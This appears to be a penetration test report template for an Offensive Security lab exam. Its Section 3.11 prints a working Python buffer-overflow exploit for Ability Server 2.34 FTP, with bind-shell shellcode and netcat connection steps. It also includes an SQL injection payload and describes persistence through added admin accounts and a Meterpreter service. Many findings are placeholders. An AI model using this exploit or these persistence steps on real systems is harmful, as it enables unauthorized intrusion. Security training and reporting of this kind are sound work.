OFFENSIVE SECURITY

Penetration Test Report



**Table of contents**

[**1.0 – High-Level Summary**](#_r13z5qcl1yrw) **2**

[1.1 - Recommendations](#_tyjcwt) 2

[**2.0 – Methodologies**](#_3dy6vkm) **3**

[2.1 – Information Gathering](#_etojutmrzv5) 3

[2.2 – Service Enumeration](#_4d34og8) 4

[2.3 – Penetration](#_2s8eyo1) 5

[**3.0 - Vulnerabilities & Exploits**](#_esbrx11khsmj) **6**

[3.10 - Vulnerability Exploited: Ability Server 2.34 FTP STOR Buffer Overflow](#_dy0ywgqpfvzw) 6

[3.11 - System Vulnerable: 172.16.203.134](#_65ak4lmpas42) 6

[3.20 - Vulnerability Exploited: MySQL Injection](#_oloo5y8k9nd2) 9

[3.21 - System Vulnerable: 172.16.203.135](#_7vizyupzadse) 9

[**4.0 - Maintaining Access**](#_gfxi4hbnbdsu) **10**

[**5.0 – House Cleaning**](#_b909oqmbepl) **10**

[**6.0 - Additional Items**](#_kfjgkxlrv3ge) **10**

[**7.0 - References**](#_ue06wu74youv) **10**

# 1.0 – High-Level Summary

John Doe was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. John’s overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, John was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

* Lab Trophy 1 – Got in through X
* Lab Trophy 2 – Got in through X
* Lab Trophy 3 – Got in through X
* Exam Trophy 1 – Got in through X
* Exam Trophy 2 – Got in through X

## 1.1 - Recommendations

John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

# 2.0 – Methodologies

John utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how John was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## 

## 2.1 – Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the lab and exam network. The specific IP addresses were:

### 

| **Lab Network** |
| --- |
| 192.168.1.1 |
| 192.168.1.2 |
| 192.168.1.3 |

| **Exam Network** |
| --- |
| 172.16.203.133 |
| 172.16.203.135 |
| 172.16.203.136 |

## 2.2 – Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

| **Server IP Address** | **Ports Open** |
| --- | --- |
| 192.168.1.1 | TCP: 21,22,25,80,443 |
| 192.168.1.2 | TCP: 22,55,90,8080,80 |
| 192.168.1.3 | TCP: 1433,3389  UDP: 1434,161 |

## 2.3 – Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to 10 out of the 50 systems.

| **Server IP Address** | **Hostname** | **Foothold / Vulnerability / Exploit** |
| --- | --- | --- |
| 192.168.1.1 |  |  |
| 192.168.1.2 |  |  |
| 192.168.1.3 |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |

# 

# 

# 3.0 - Vulnerabilities & Exploits

## 3.10 - Vulnerability Exploited: Ability Server 2.34 FTP STOR Buffer Overflow

### 3.11 - System Vulnerable: 172.16.203.134

**Vulnerability Explanation:**

Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take complete control over the system. When performing the penetration test, John noticed an outdated version of Ability Server running from the service enumeration phase. In addition, the operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave John full administrative access over the system.

**Vulnerability Fix:**

The publishers of the Ability Server have issued a patch to fix this known issue.

It can be found here: <http://www.code-crafters.com/abilityserver/>

**Severity:**

**Critical**

**Proof of Concept Code:**

| ################################### # Ability Server 2.34 FTP STOR Buffer Overflow  # Advanced, secure and easy to use FTP Server. # 21 Oct 2004 - muts  ################################### # D:\BO>ability-2.34-ftp-stor.py  ################################### # D:\data\tools>nc -v 127.0.0.1 4444  # localhost [127.0.0.1] 4444 (?) open  # Microsoft Windows XP [Version 5.1.2600]  # (C) Copyright 1985-2001 Microsoft Corp.  # D:\Program Files\abilitywebserver>  ###################################   import ftplib from ftplib import FTP import struct print "\n\n################################" print "\nAbility Server 2.34 FTP STOR buffer Overflow" print "\nFor Educational Purposes Only!\n" print "###################################"   # Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"   sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" # Change RET address if need be. buffer = '\x41'\*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'\*32+sc # RET Windows 2000 Server SP4 #buffer = '\x41'\*970+struct.pack('<L', 0x7D17D737)+'\x42'\*32+sc # RET Windows XP SP2 try: # Edit the IP, Username and Password. ftp = FTP('127.0.0.1') ftp.login('ftp','ftp') print "\nEvil Buffer sent..." print "\nTry connecting with netcat to port 4444 on the remote machine." except: print "\nCould not Connect to FTP Server." try: ftp.transfercmd("STOR " + buffer) except: print "\nDone." |
| --- |

**Screenshots:**

| **Command / Description** | **Screenshot** |
| --- | --- |
| ifconfig | image.png |
|  |  |

## 3.20 - Vulnerability Exploited: MySQL Injection

### 3.21 - System Vulnerable: 172.16.203.135

**Vulnerability Explanation:**

A custom web application identified was prone to SQL Injection attacks. When performing the penetration test, John noticed error-based MySQL Injection on the taxid query string parameter. While enumerating table data, John was able to successfully extract login and password credentials that were unencrypted that also matched username and password accounts for the root user account on the operating system. This allowed for a successful breach of the Linux-based operating system as well as all data contained on the system.

**Vulnerability Fix:**

Since this is a custom web application, a specific update will not properly solve this issue. The application will need to be programmed to properly sanitize user-input data, ensure that the user is running off of a limited user account, and that any sensitive data stored within the SQL database is properly encrypted. Custom error messages are highly recommended, as it becomes more challenging for the attacker to exploit a given weakness if errors are not being presented back to them

**Severity:**

**Critical**

**Proof of Concept Code:**

| SELECT \* FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" |
| --- |

**Screenshots:**

| **Command / Description** | **Screenshot** |
| --- | --- |
| SQL injection URL point |  |
|  |  |

# 4.0 - Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

John added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established.

# 5.0 – House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

# 6.0 - Additional Items

This section is placed for any additional items that were not mentioned in the overall report.

# 7.0 - References